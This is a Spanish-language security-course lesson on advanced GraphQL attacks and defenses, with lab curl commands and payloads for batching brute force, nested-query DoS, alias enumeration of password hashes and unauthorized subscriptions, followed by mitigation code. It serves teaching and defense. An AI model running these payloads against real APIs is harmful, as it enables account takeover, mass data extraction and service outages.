GraphQL avanzado: introspection abuse, batching, DoS y fallos de authorization
· 10 min de lectura
Más allá de la introspection básica: ataques de batching, alias amplification, query complexity DoS, fragment injection, subscription abuse y authorization bypass en resolvers y federación GraphQL.
La lección de Mass Assignment y GraphQL cubrió los fundamentos: introspection expuesta, batching básico, aliases y depth limiting. Esta lección va más allá. Los equipos de seguridad de 2026 ya saben desactivar introspection y poner un límite de profundidad, pero los atacantes han desarrollado técnicas avanzadas que sortean esas defensas: query complexity DoS, field suggestion exploitation, fragment injection, subscription abuse, brute force por batching, CSRF en GraphQL y authorization bypass en arquitecturas federadas. Cada una explota un aspecto distinto de la flexibilidad que hace poderoso a GraphQL y, al mismo tiempo, difícil de asegurar.
Es la octava lección de la Tanda 9. Asume que ya conoces los conceptos de la lección anterior y se centra en los vectores que generan más recompensas en bug bounty y más hallazgos en auditorías profesionales hoy.
Practica solo contra APIs autorizadas o laboratorios propios. Atacar un endpoint GraphQL en producción ajena es intrusión y delito.
Qué es la superficie de ataque avanzada de GraphQL#
GraphQL expone un único endpoint que acepta consultas arbitrarias del cliente. Eso crea una superficie de ataque única: cada query es distinta, las defensas basadas en firmas (como un WAF tradicional) son insuficientes, y la lógica de autorización debe aplicarse en cada resolver, no solo en el borde.

Los vectores avanzados se agrupan en seis categorías: descubrimiento del schema sin introspection, amplificación por batching y aliases, denegación de servicio por complejidad de query, abuso de subscriptions, inyección de fragments y fallos de autorización en arquitecturas federadas. Cada categoría tiene técnicas, herramientas y mitigaciones propias.
Por qué ocurre: la causa raíz#
La raíz es la misma en todos los casos: GraphQL delega al cliente la definición de la consulta, pero el servidor no siempre valida ni limita lo que ese cliente puede pedir. Los frameworks modernos (Apollo Server, Hasura, graphql-yoga) traen protecciones, pero la mayoría vienen desactivadas por defecto o requieren configuración manual que los equipos de desarrollo omiten por desconocimiento o por prisa.
Un segundo factor es la arquitectura: en GraphQL federado (Apollo Federation, schema stitching), varios subgrafos componen un supergraph. Cada subgrafo tiene sus propios resolvers con su propia lógica de autorización. Un fallo en un subgrafo se propaga al gateway y afecta a toda la API. Los equipos a menudo asumen que el gateway se encarga de la autorización, pero el gateway solo enruta: la responsabilidad queda en cada resolver.
Tipos y variantes de ataque#
| Vector | Descripción | Impacto |
|---|---|---|
| Field suggestions | El servidor sugiere campos válidos cuando escribes uno incorrecto, revelando el schema sin introspection | Descubrimiento de schema |
| Batching brute force | Múltiples mutations login en una sola petición para bypass de rate limiting | Acceso no autorizado |
| Query complexity DoS | Queries con relaciones anidadas que multiplican el coste exponencialmente | Denegación de servicio |
| Subscription abuse | Conexiones WebSocket persistentes que exfiltran datos en tiempo real | Exfiltración continua |
| Fragment injection | Inline fragments y __typename para acceder a tipos no previstos en uniones e interfaces | Lectura de datos sensibles |
| Federation auth gaps | Subgrafos sin autorización propia en arquitecturas federadas | Acceso a datos de otros servicios |
| APQ bypass | Predicción del hash SHA-256 en Automatic Persisted Queries para ejecutar queries no registradas | Ejecución de queries arbitrarias |
| GraphQL CSRF | Queries ejecutables vía GET que permiten CSRF desde un sitio externo | Acciones no autorizadas |
Dónde aparece#
- APIs públicas con GraphQL expuesto (e-commerce, SaaS, plataformas sociales).
- Aplicaciones internas con GraphQL federado (microservicios).
- Mobile backends que usan GraphQL como BFF (Backend for Frontend).
- Plataformas con subscriptions en tiempo real (chat, notificaciones, trading).
- Cualquier servidor GraphQL que acepte peticiones GET con el parámetro
query.
Cómo se detecta#
| Técnica | Método | Herramienta |
|---|---|---|
| Fingerprint del servidor | Enviar queries con errores y analizar formato de respuesta | graphw00f |
| Schema inference sin introspection | Explotar field suggestions para reconstruir el schema | Clairvoyance |
| Detección de batching | Enviar array de queries y verificar que se ejecutan todas | BatchQL, Burp Repeater |
| Análisis de complejidad | Enviar queries con profundidad y amplitud crecientes, medir tiempos | InQL, scripts custom |
| Detección de subscriptions | Conectar por WebSocket al endpoint y enviar subscription | websocat, wscat |
| Inspección de APQ | Enviar hash SHA-256 de una query conocida sin haberla registrado | curl, Postman |
| CSRF en GET | Construir URL con query GraphQL y verificar ejecución cross-origin | Navegador, Burp |
Herramientas principales: InQL (Burp extension con scanner integrado), graphql-cop (scanner de seguridad automatizado), Clairvoyance (inferencia de schema), BatchQL (detección y explotación de batching), graphw00f (fingerprinting del engine).
Explotación paso a paso en un laboratorio#
Paso 1 — fingerprinting del engine#
# Detectar que el endpoint es GraphQL
curl -s http://IP_DEL_LAB/graphql -d '{"query":"{__typename}"}' \
-H "Content-Type: application/json"
# Respuesta esperada: {"data":{"__typename":"Query"}}
# Fingerprint del engine
python3 graphw00f.py -t http://IP_DEL_LAB/graphql
# Salida: Apollo Server / graphql-yoga / Hasura
Paso 2 — field suggestions sin introspection#
# Introspection desactivada:
curl -s http://IP_DEL_LAB/graphql \
-d '{"query":"{ __schema { types { name } } }"}' \
-H "Content-Type: application/json"
# Respuesta: "introspection is not allowed"
# Explotar field suggestions:
curl -s http://IP_DEL_LAB/graphql \
-d '{"query":"{ user(id:1) { passwrd } }"}' \
-H "Content-Type: application/json"
# Respuesta: Did you mean "password", "passwordHash"?
Paso 3 — batching para brute force#
# Una sola petición HTTP con 100 intentos de login
curl -s http://IP_DEL_LAB/graphql \
-H "Content-Type: application/json" \
-d '[
{"query":"mutation{login(user:\"admin\",pass:\"pass1\"){token}}"},
{"query":"mutation{login(user:\"admin\",pass:\"pass2\"){token}}"},
{"query":"mutation{login(user:\"admin\",pass:\"pass3\"){token}}"}
]'
# Si el rate limiter cuenta por petición HTTP, los 100 intentos
# se ejecutan como una sola petición
Paso 4 — query complexity DoS#
query {
users {
posts {
comments {
author {
posts {
comments {
author {
email
}
}
}
}
}
}
}
}
Cada nivel multiplica la cantidad de resolvers. Con 1000 usuarios, 10 posts cada uno y 50 comentarios, una sola query genera 1000 x 10 x 50 x 10 x 50 = 250 millones de resoluciones. Sin query cost analysis, el servidor se cae.
Paso 5 — aliases como amplificador de enumeración#
query {
u1: user(id: 1) { email passwordHash role }
u2: user(id: 2) { email passwordHash role }
u3: user(id: 3) { email passwordHash role }
u4: user(id: 4) { email passwordHash role }
u5: user(id: 5) { email passwordHash role }
}
Si no hay autorización por resolver, obtienes datos de todos los usuarios en una sola petición. Combinado con un script que genera aliases de u1 a u10000, es enumeración masiva instantánea.
Paso 6 — subscription para exfiltración#
subscription {
newMessage {
id
content
sender { email role }
}
}
Conectado vía WebSocket, el atacante recibe en tiempo real cada mensaje que cualquier usuario envía, si el resolver no verifica que el suscriptor tiene permiso para ver esos mensajes.
Qué puede lograr un atacante#
| Escenario | Técnica | Impacto |
|---|---|---|
| Brute force silencioso | Batching de 1000 mutations login en una petición | Account takeover sin activar rate limiter |
| Enumeración masiva | Aliases con BOLA en resolvers | Dumping de toda la base de datos accesible |
| Denegación de servicio | Query con profundidad y amplitud exponencial | Caída del servidor y de servicios dependientes |
| Exfiltración en tiempo real | Subscription sin auth | Lectura persistente de mensajes, transacciones, datos sensibles |
| Descubrimiento de schema | Field suggestions con diccionario de campos | Mapeo completo de la API incluso sin introspection |
| CSRF de mutations | Query vía GET ejecutada desde un sitio del atacante | Cambio de email, password o configuración de la víctima |
| Bypass de federación | Query que cruza subgrafos con auth inconsistente | Acceso a datos de microservicios internos |
Cómo se corrige#

Desactivar field suggestions en producción#
// Apollo Server 4
const server = new ApolloServer({
typeDefs,
resolvers,
includeStacktraceInErrorMessages: false,
// Plugin para eliminar suggestions
plugins: [{
requestDidStart() {
return {
didEncounterErrors({ errors }) {
for (const err of errors) {
// Sanitizar mensaje, eliminar "Did you mean..."
err.message = err.message.replace(/Did you mean.*$/, '');
}
}
};
}
}]
});
Query cost analysis#
// graphql-query-complexity
import { createComplexityRule, simpleEstimator } from 'graphql-query-complexity';
const complexityRule = createComplexityRule({
maximumComplexity: 1000,
estimators: [
simpleEstimator({ defaultComplexity: 1 })
],
onComplete: (complexity) => {
if (complexity > 1000) throw new Error('Query demasiado compleja');
}
});
Limitar batching y aliases#
// Limitar batch size
app.use('/graphql', (req, res, next) => {
if (Array.isArray(req.body) && req.body.length > 5) {
return res.status(400).json({ error: 'Max 5 queries por batch' });
}
next();
});
// graphql-armor: protección integral
import { ArmordGraphQL } from '@escape.tech/graphql-armor';
const armor = new ArmordGraphQL({
maxAliases: { n: 10 },
maxDepth: { n: 6 },
costLimit: { maxCost: 5000 }
});
Authorization en cada resolver#
// Correcto: verificar en el resolver
const resolvers = {
Query: {
user: (parent, { id }, context) => {
if (!context.user) throw new AuthenticationError('No autenticado');
if (context.user.id !== id && !context.user.isAdmin) {
throw new ForbiddenError('Sin permiso');
}
return db.user.findById(id);
}
},
Subscription: {
newMessage: {
subscribe: (parent, args, context) => {
if (!context.user) throw new AuthenticationError('No autenticado');
// Solo mensajes del canal del usuario
return pubsub.asyncIterator(`MESSAGES_${context.user.channelId}`);
}
}
}
};
Deshabilitar queries GET#
// Solo aceptar POST en producción
app.use('/graphql', (req, res, next) => {
if (req.method === 'GET') {
return res.status(405).json({ error: 'Método no permitido' });
}
next();
});
Errores comunes al defenderse#
- Desactivar introspection pero dejar field suggestions activas: el atacante reconstruye el schema igual.
- Rate limiting por petición HTTP y no por operación GraphQL: el batching lo anula.
- Depth limiting sin cost analysis: queries anchas (muchos aliases al mismo nivel) no se bloquean.
- Authorization en el gateway de federación pero no en los subgrafos: cualquier acceso directo al subgrafo bypasea la protección.
- Persisted queries como única defensa: si se activa APQ (Automatic Persisted Queries), el atacante envía el hash SHA-256 de una query que construyó y el servidor la registra automáticamente.
- Asumir que las subscriptions no necesitan auth porque son WebSocket y no HTTP.
- Confiar en que el frontend no construirá queries maliciosas: cualquier cliente HTTP puede hacerlo.
Casos reales#
En 2023, GitLab parcheó un fallo donde las field suggestions revelaban nombres de campos internos del schema incluso con introspection desactivada. Los investigadores reconstruyeron gran parte del schema privado usando diccionarios de nombres comunes y las sugerencias del servidor.
Shopify reportó en 2021 que su endpoint GraphQL aceptaba batching sin límite, permitiendo brute force de tokens de autenticación con miles de intentos en una sola petición. La corrección fue limitar a 10 operaciones por batch y añadir rate limiting por operación individual.
Facebook ha tenido múltiples reportes en su programa de bug bounty donde queries GraphQL con profundidad excesiva causaban timeouts en servicios internos. Su solución fue implementar un sistema de query cost personalizado que asigna peso a cada campo según la complejidad real de su resolver.
Preguntas frecuentes#
¿Qué diferencia hay entre depth limiting y cost analysis?#
Depth limiting solo mide cuántos niveles de profundidad tiene una query. Cost analysis asigna un coste a cada campo (basado en la complejidad del resolver, si hace JOIN, si pagina) y suma el total. Una query poco profunda pero con 1000 aliases al mismo nivel no se atrapa con depth limiting, pero sí con cost analysis. Ambas se complementan.
¿Las persisted queries resuelven todo?#
No. Las persisted queries (allowlist de queries pre-registradas) eliminan queries arbitrarias, pero solo funcionan en APIs internas donde controlas todos los clientes. En APIs públicas con clientes de terceros, no puedes predecir qué queries necesitarán. Además, APQ (Automatic Persisted Queries) registra queries automáticamente, así que un atacante puede registrar las suyas.
¿GraphQL federado es más o menos seguro?#
Es más complejo, y la complejidad genera vulnerabilidades. Cada subgrafo puede tener implementación, framework y equipo distintos. Un subgrafo sin auth, combinado con un gateway que no verifica permisos por campo, expone datos internos. Netflix, Shopify y Expedia tienen equipos dedicados a auditar la seguridad de su supergraph.
¿Cómo protejo subscriptions?#
Igual que queries y mutations: verificación de identidad al establecer la conexión WebSocket (token en el mensaje connection_init), autorización en cada resolver de subscription, y límite de conexiones concurrentes por usuario. Implementa también un TTL para cerrar conexiones inactivas y evitar que un atacante mantenga miles de sockets abiertos.
¿graphql-cop y InQL son suficientes para auditar?#
Son un buen punto de partida. graphql-cop detecta configuraciones inseguras (introspection, batching, field suggestions, GET habilitado). InQL genera queries desde el schema y permite fuzzing. Pero la autorización en resolvers requiere pruebas manuales: pedir datos de otros usuarios, cruzar subgrafos, verificar cada mutation con distintos roles. No hay herramienta que lo cubra todo.
¿Dónde practico?#
En whoami-labs, el laboratorio profilepeek tiene una API con BOLA que puedes explotar vía queries GraphQL-like con manipulación de identificadores. El laboratorio matrix combina JWT forgery con API endpoint discovery, simulando un escenario donde la autorización se bypasea forjando tokens para acceder a herramientas internas. Ambos refuerzan los conceptos de autorización que esta lección cubre.
Resumen#
- GraphQL tiene una superficie de ataque amplia que va mucho más allá de introspection: field suggestions, batching, query complexity, subscriptions, fragments y federation.
- El batching permite brute force silencioso enviando cientos de mutations en una petición HTTP.
- Query cost analysis es más efectivo que depth limiting para prevenir DoS.
- Las subscriptions requieren la misma autorización que queries y mutations, pero a menudo se olvida.
- En GraphQL federado, cada subgrafo debe implementar su propia autorización; el gateway no basta.
- Herramientas: graphql-cop para detección automatizada, Clairvoyance para inference sin introspection, InQL para análisis en Burp, BatchQL para batching.